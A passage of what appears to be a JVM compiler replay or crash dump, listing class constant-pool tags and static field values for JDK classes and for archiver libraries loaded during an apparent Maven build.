createFormsLock Ljava/lang/Object; java/lang/Object\nstaticfield java/lang/invoke/LambdaForm DEBUG_NAME_COUNTERS Ljava/util/HashMap; null\nstaticfield java/lang/invoke/LambdaForm DEBUG_NAMES Ljava/util/HashMap; null\nstaticfield java/lang/invoke/LambdaForm TRACE_INTERPRETER Z 0\nstaticfield java/lang/invoke/LambdaForm $assertionsDisabled Z 1\nciInstanceKlass java/lang/invoke/MethodType 1 1 680 7 10 9 9 9 10 9 8 10 10 9 9 10 100 10 8 10 10 10 100 8 10 100 10 10 10 10 11 9 11 7 7 10 10 9 10 10 10 10 10 10 9 7 10 100 10 10 10 10 10 10 10 10 10 8 8 10 9 100 10 10 10 10 10 10 10 10 10 8 10 10 10 10 10 10 10 10 10 9 10 10 10 10 9 7 10 10 10 10 10 10 10 10 100 8 8 8 10 10 10 10 11 11 10 9 10 10 10 10 10 10 10 10 10 10 10 10 9 7 10 10 10 10 10 10 10 8 10 11 9 10 10 10 10 10 10 10 10 10 9 9 10 9 10 7 10 7 7 9 100 1 1 100 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 100 100 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 100 1 1 1 100 1 1 1 1 1 100 1 12 12 12 12 7 12 7 12 1 100 12 12 7 7 12 1 1 12 12 12 1 1 12 1 12 12 12 12 12 12 1 7 12 12 12 12 12 12 7 12 12 12 12 1 12 1 12 12 7 12 12 12 12 12 12 12 1 1 12 12 1 12 12 12 12 100 12 12 12 1 12 100 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 100 12 12 7 12 12 12 1 1 1 1 12 12 12 12 12 100 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 1 7 12 12 12 12 12 100 12 12 12 12 100 12 12 100 12 12 100 12 12 12 1 1 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/MethodType internTable Ljava/lang/invoke/MethodType$ConcurrentWeakInternSet; java/lang/invoke/MethodType$ConcurrentWeakInternSet\nstaticfield java/lang/invoke/MethodType NO_PTYPES [Ljava/lang/Class; 0 [Ljava/lang/Class;\nstaticfield java/lang/invoke/MethodType objectOnlyTypes [Ljava/lang/invoke/MethodType; 20 [Ljava/lang/invoke/MethodType;\nstaticfield java/lang/invoke/MethodType METHOD_HANDLE_ARRAY [Ljava/lang/Class; 1 [Ljava/lang/Class;\nstaticfield java/lang/invoke/MethodType serialPersistentFields [Ljava/io/ObjectStreamField; 0 [Ljava/io/ObjectStreamField;\nstaticfield java/lang/invoke/MethodType $assertionsDisabled Z 1\nciInstanceKlass java/lang/BootstrapMethodError 0 0 45 10 10 10 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 12 12 12 12 12 1 1 1 1 1 1 1 1\ninstanceKlass java/lang/invoke/VolatileCallSite\ninstanceKlass java/lang/invoke/MutableCallSite\ninstanceKlass java/lang/invoke/ConstantCallSite\nciInstanceKlass java/lang/invoke/CallSite 1 1 299 10 10 9 10 9 10 10 100 7 10 7 10 10 10 100 100 10 10 10 8 10 10 10 10 10 10 10 10 9 9 7 8 10 10 100 10 9 8 100 10 10 100 8 10 10 10 100 10 10 10 10 10 9 9 8 10 9 100 10 10 10 10 10 10 100 8 10 10 100 100 100 8 10 10 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 7 1 1 1 1 1 1 12 12 12 12 12 12 12 1 1 12 1 12 12 12 1 1 12 12 1 12 12 12 12 12 100 12 12 12 100 12 1 12 12 1 100 12 12 12 12 1 1 12 12 1 12 12 12 12 12 12 12 100 12 12 1 100 12 12 12 12 7 12 1 1 12 1 1 1 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/CallSite $assertionsDisabled Z 1\nciInstanceKlass java/lang/invoke/MethodHandleNatives$CallSiteContext 1 1 49 10 7 10 10 10 10 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 1 7 12 7 12 12 1 1 1 1 1 1 1 1 100 1 1 1 1 1\nciInstanceKlass java/lang/invoke/ConstantCallSite 1 1 49 10 9 10 100 10 9 100 10 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 12 12 12 1 12 12 1 12 1 1 1 1\nciInstanceKlass java/lang/invoke/MutableCallSite 0 0 67 10 10 9 10 10 10 9 10 10 100 10 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 12 12 12 12 12 12 12 12 100 12 1 12 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/lang/invoke/VolatileCallSite 0 0 41 10 10 10 10 10 10 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 1 1 1 1 1 1 1\nciInstanceKlass java/lang/AssertionStatusDirectives 0 0 24 10 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 1\ninstanceKlass java/lang/StringBuilder\ninstanceKlass java/lang/StringBuffer\nciInstanceKlass java/lang/AbstractStringBuilder 1 1 522 7 7 10 9 9 9 9 10 9 10 10 10 10 10 10 10 10 7 3 10 3 100 10 10 100 10 10 10 10 10 10 10 100 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 11 10 10 8 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 18 100 10 18 10 10 10 11 10 10 10 100 10 8 10 10 8 8 10 10 10 10 100 10 100 10 100 10 7 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 100 1 1 1 100 1 1 1 1 1 1 1 1 1 12 12 12 12 12 7 12 12 12 7 12 12 12 12 12 7 12 1 12 1 12 1 12 12 12 12 12 12 1 12 100 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 7 12 12 12 7 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 15 16 15 16 12 1 100 12 15 12 12 12 12 12 12 1 1 12 12 1 1 12 12 12 1 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 10 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 100 12 12 12 1 1 100 1 1 100 1 1\nstaticfield java/lang/AbstractStringBuilder EMPTYVALUE [B 0\nciInstanceKlass java/lang/StringBuffer 1 1 466 10 10 10 11 10 10 10 9 10 10 10 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 9 10 10 7 10 10 10 10 10 8 10 8 10 8 10 10 10 10 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 7 10 7 10 9 9 9 7 100 100 100 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 100 1 1 1 100 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 7 12 7 1 12 100 12 12 1 12 1 12 1 12 12 100 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 1 12 7 12 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/StringBuffer serialPersistentFields [Ljava/io/ObjectStreamField; 3 [Ljava/io/ObjectStreamField;\nciInstanceKlass java/lang/StringBuilder 1 1 403 10 10 10 11 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 9 9 10 10 10 10 10 10 10 10 10 10 10 100 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 7 10 7 100 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 7 12 7 100 12 12 12 12 12 100 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass jdk/internal/misc/Unsafe 1 1 1161 10 9 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 10 10 10 5 0 10 10 10 10 10 10 10 10 10 100 10 10 10 10 10 10 10 10 10 10 10 10 10 10 5 0 5 0 5 0 10 10 10 100 10 10 10 10 10 10 10 10 10 100 10 10 10 10 8 10 8 8 10 9 9 9 9 9 9 9 9 10 10 10 10 5 0 5 0 9 10 10 10 10 10 8 3 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 10 9 5 0 10 5 0 10 5 0 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 5 0 5 0 5 0 10 10 10 10 10 7 10 7 10 9 7 9 7 9 7 9 7 9 7 9 7 9 7 9 7 9 10 9 9 9 9 9 9 9 9 9 10 10 10 7 1 1 1 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 1 12 12 12 1 12 1 1 12 7 12 100 7 100 100 100 100 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 12 12 12 1 12 1 12 1 12 1 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield jdk/internal/misc/Unsafe theUnsafe Ljdk/internal/misc/Unsafe; jdk/internal/misc/Unsafe\nstaticfield jdk/internal/misc/Unsafe ARRAY_BOOLEAN_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_BYTE_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_SHORT_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_CHAR_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_INT_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_LONG_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_FLOAT_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_DOUBLE_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_OBJECT_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_BOOLEAN_INDEX_SCALE I 1\nstaticfield jdk/internal/misc/Unsafe ARRAY_BYTE_INDEX_SCALE I 1\nstaticfield jdk/internal/misc/Unsafe ARRAY_SHORT_INDEX_SCALE I 2\nstaticfield jdk/internal/misc/Unsafe ARRAY_CHAR_INDEX_SCALE I 2\nstaticfield jdk/internal/misc/Unsafe ARRAY_INT_INDEX_SCALE I 4\nstaticfield jdk/internal/misc/Unsafe ARRAY_LONG_INDEX_SCALE I 8\nstaticfield jdk/internal/misc/Unsafe ARRAY_FLOAT_INDEX_SCALE I 4\nstaticfield jdk/internal/misc/Unsafe ARRAY_DOUBLE_INDEX_SCALE I 8\nstaticfield jdk/internal/misc/Unsafe ARRAY_OBJECT_INDEX_SCALE I 4\nstaticfield jdk/internal/misc/Unsafe ADDRESS_SIZE I 8\nstaticfield jdk/internal/misc/Unsafe BE Z 0\nstaticfield jdk/internal/misc/Unsafe unalignedAccess Z 1\nciInstanceKlass jdk/internal/module/Modules 1 1 483 10 9 11 11 11 11 11 11 11 11 10 10 18 10 100 10 10 10 10 11 10 10 10 10 9 10 10 10 100 100 11 10 11 10 10 10 10 10 11 18 11 10 11 100 11 11 11 10 10 18 11 18 11 10 18 18 10 9 11 100 10 11 11 100 11 10 100 10 10 10 11 10 100 10 18 10 100 8 10 10 18 11 11 10 10 10 18 10 10 7 10 10 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 100 100 100 100 100 100 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 12 12 7 12 12 12 12 12 12 12 12 12 100 12 1 15 16 15 16 12 100 12 1 100 12 100 12 12 12 12 12 12 12 12 12 100 12 1 1 12 100 12 12 12 12 100 12 12 12 12 16 15 16 12 12 100 12 100 12 1 12 12 12 12 100 12 16 15 16 12 12 16 15 16 12 12 12 15 16 15 16 12 12 12 1 12 12 1 12 1 12 12 12 12 12 1 15 16 12 12 1 1 12 12 15 16 12 12 12 15 12 1 12 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 10 1 1 1 1 1 1 10 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 10 1 1 10 1 1 1 1 1 100 12 12 12 12 12 12 12 12 12 1 1 100 1 1 1 1 1 100 1 1\nstaticfield jdk/internal/module/Modules JLA Ljdk/internal/misc/JavaLangAccess; java/lang/System$2\nstaticfield jdk/internal/module/Modules $assertionsDisabled Z 1\ninstanceKlass org/iq80/snappy/AbstractSnappyInputStream\ninstanceKlass org/apache/commons/compress/archivers/ArchiveInputStream\ninstanceKlass org/apache/commons/compress/compressors/CompressorInputStream\ninstanceKlass org/codehaus/plexus/components/io/resources/ClosingInputStream\ninstanceKlass org/apache/commons/compress/utils/BoundedInputStream\ninstanceKlass org/apache/commons/io/input/ClosedInputStream\ninstanceKlass org/iq80/snappy/AbstractSnappyInputStream\ninstanceKlass org/apache/commons/compress/compressors/CompressorInputStream\ninstanceKlass org/apache/commons/compress/archivers/ArchiveInputStream\ninstanceKlass org/codehaus/plexus/components/io/resources/ClosingInputStream\ninstanceKlass org/apache/commons/compress/archivers/ArchiveInputStream\ninstanceKlass org/apache/commons/compress/compressors/CompressorInputStream\ninstanceKlass org/apache/commons/compress/archivers/ArchiveInputStream\ninstanceKlass org/apache/commons/compress/compressors/CompressorInputStream\ninstanceKlass org/codehaus/plexus/components/io/resources/ClosingInputStream\ninstanceKlass org/codehaus/plexus/archiver/bzip2/CBZip2InputStream\ninstanceKlass org/apache/commons/io/input/ClosedInputStream\ninstanceKlass org/iq80/snappy/AbstractSnappyInputStream\ninstanceKlass org/codehaus/plexus/components/io/resources/ClosingInputStream\ninstanceKlass org/apache/commons/compress/compressors/CompressorInputStream\ninstanceKlass org/apache/commons/compress/utils/BoundedInputStream\ninstanceKlass org/apache/commons/io/input/ClosedInputStream\ninstanceKlass org/apache/commons/compress/archivers/ArchiveInputStream\ninstanceKlass org/iq80/snappy/AbstractSnappyInputStream\ninstanceKlass org/apache/commons/compress/compressors/CompressorInputStream\ninstanceKlass org/codehaus/plexus/components/io/resources/ClosingInputStream\ninstanceKlass org/apache/commons/io/input/ClosedInputStream\ninstanceKlass java/io/SequenceInputStream\ninstanceKlass org/iq80/snappy/AbstractSnappyInputStream\ninstanceKlass org/codehaus/plexus/components/io/resources/ClosingInputStream\ninstanceKlass org/apache/commons/compress/compressors/CompressorInputStream\ninstanceKlass jdk/nio/zipfs/ZipFileSystem$EntryInputStream\ninstanceKlass sun/nio/ch/ChannelInputStream\ninstanceKlass java/util/zip/ZipFile$ZipFileInputStream\ninstanceKlass java/io/FilterInputStream\ninstanceKlass java/io/FileInputStream\ninstanceKlass java/io/ByteArrayInputStream\nciInstanceKlass java/io/InputStream 1 1 170 100 10 100 10 10 10 10 100 3 10 100 8 10 7 10 3 100 8 10 7 10 11 10 11 11 11 7 10 5 0 10 8 10 8 10 10 7 100 1 1 1 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 12 7 12 12 1 12 1 1 12 1 7 12 1 1 1 12 100 12 12 12 12 7 12 12 1 12 100 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/io/ByteArrayInputStream 1 1 96 10 9 9 9 9 10 10 10 10 10 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 7 12 7 12 7 12 100 12 12 100 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/net/URL 1 1 704 10 10 10 9 9 10 10 10 9 10 8 10 100 10 10 8 10 9 100 8 10 10 8 9 10 9 10 10 9 9 8 9 10 8 9 10 10 10 10 8 10 10 10 8 9 8 10 10 100 10 10 10 100 8 10 10 8 10 10 10 10 10 10 8 10 7 10 10 10 9 10 9 10 10 10 10 10 10 7 10 10 10 8 9 10 10 9 10 100 10 10 10 10 10 10 10 10 10 10 10 9 9 100 8 10 10 9 10 8 10 8 10 10 8 8 10 100 10 10 10 7 100 10 9 10 8 10 100 10 10 8 8 9 10 10 10 10 10 11 10 10 9 10 10 10 8 10 7 100 10 8 8 10 8 8 8 100 10 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 8 10 10 10 8 7 10 7 10 7 10 7 7 10 9 9 7 10 10 100 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 100 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 100 12 12 12 12 12 1 12 1 12 1 12 12 1 1 12 12 1 12 12 12 12 12 12 12 1 12 12 1 12 12 12 12 12 1 12 12 12 1 12 1 12 12 1 12 12 12 1 1 12 1 12 12 12 12 12 12 1 12 1 7 12 12 100 12 12 12 12 12 12 12 12 12 1 12 1 12 100 12 12 100 12 12 1 12 12 12 12 100 12 12 12 7 12 12 12 12 12 1 1 12 12 12 1 7 12 1 12 12 1 1 12 1 100 12 12 12 1 1 12 12 1 12 1 100 12 1 100 12 12 12 12 12 7 12 12 12 12 12 12 100 12 12 12 1 1 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 12 1 1 1 1 1 1 12 7 12 12 1 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/net/URL defaultFactory Ljava/net/URLStreamHandlerFactory; java/net/URL$DefaultFactory\nstaticfield java/net/URL streamHandlerLock Ljava/lang/Object; java/lang/Object\nstaticfield java/net/URL serialPersistentFields [Ljava/io/ObjectStreamField; 7 [Ljava/io/ObjectStreamField;\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest\nciInstanceKlass java/util/jar/Manifest 1 1 299 10 7 10 9 7 10 9 9 10 10 10 10 10 11 11 10 10 100 100 10 8 10 10 10 10 11 7 10 10 11 11 11 11 100 7 8 10 11 7 8 10 10 10 10 8 10 10 11 10 10 10 8 10 7 10 10 10 100 8 10 10 8 10 10 10 10 11 10 10 10 100 7 10 11 10 11 10 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 12 1 12 12 12 12 12 12 12 7 12 12 100 12 1 1 1 12 12 12 12 1 12 12 12 7 12 12 12 1 1 1 12 1 1 12 12 12 12 1 12 12 12 12 12 1 12 1 12 12 12 1 1 12 1 12 100 12 12 12 12 12 7 12 12 1 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 